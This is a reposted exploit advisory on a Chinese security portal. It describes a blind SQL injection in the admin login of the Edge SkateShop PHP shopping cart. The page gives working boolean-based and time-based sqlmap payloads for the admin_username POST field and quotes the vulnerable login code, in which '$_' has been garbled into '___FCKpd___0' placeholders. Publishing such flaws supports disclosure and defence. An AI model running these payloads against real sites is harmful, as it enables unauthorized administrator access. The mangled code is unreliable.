首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Edge SkateShop Blind SQL Injection
来源:flashcreazione at gmail.com 作者:Bocchetti 发布时间:2016-12-19  
# Exploit Title: Edge SkateShop Blind Sql Injection
# Date: 12/12/2016
# Exploit Author: Andrea Bocchetti
# Vendor HomePage: http://www.sourcecodester.com/php/10964/basic-shopping-cartphpmysql.html
# Software Link: http://www.sourcecodester.com/sites/default/files/download/gebbz/edgesketch.zip
# Version : n/a
# Tested on: kali linux
 
# Proof of Concept (Using SQLMap) :
 
Parameter: admin_username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: admin_username=-8520' OR 6015=6015-- PORX&admin_password=&admin_login=Scmp

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: admin_username=yzsT' OR SLEEP(5)-- Qgnn&admin_password=&admin_login=Scmp


Issue :
if(isset(
___FCKpd___0
POST['admin_login'])) { $admin_username=
___FCKpd___0
POST['admin_username']; $admin_password=
___FCKpd___0
POST['admin_password']; $check_admin="select * from admin WHERE admin_username='$admin_username' AND admin_password='$admin_password'"; $run=mysqli_query($dbcon,$check_admin); if(mysqli_num_rows($run)) { echo "<script>alert('You're successfully login!')</script>"; echo "<script>window.open('Admin/index.php','_self')</script>";
___FCKpd___0
SESSION['admin_username']=$admin_username; } else { echo "<script>alert('Username or password is incorrect!')</script>"; echo "<script>window.open('index.php','_self')</script>"; exit(); }

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer 9
·Orthanc DICOM Server 1.1.0 - M
·Microsoft Internet Explorer 9
·OsiriX DICOM Viewer 8.0.1 - Me
·Microsoft Internet Explorer 9
·ConQuest DICOM Server 1.4.17d
·Nagios < 4.2.4 - Privilege Esc
·DCMTK 3.6.0 storescp - Stack B
·Nagios < 4.2.2 - Arbitrary Cod
·Horos 2.1.0 DICOM Medical Imag
·Nidesoft MP3 Converter 2.6.18
·iOS 10.1.1 / macOS 10.12 16A32
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved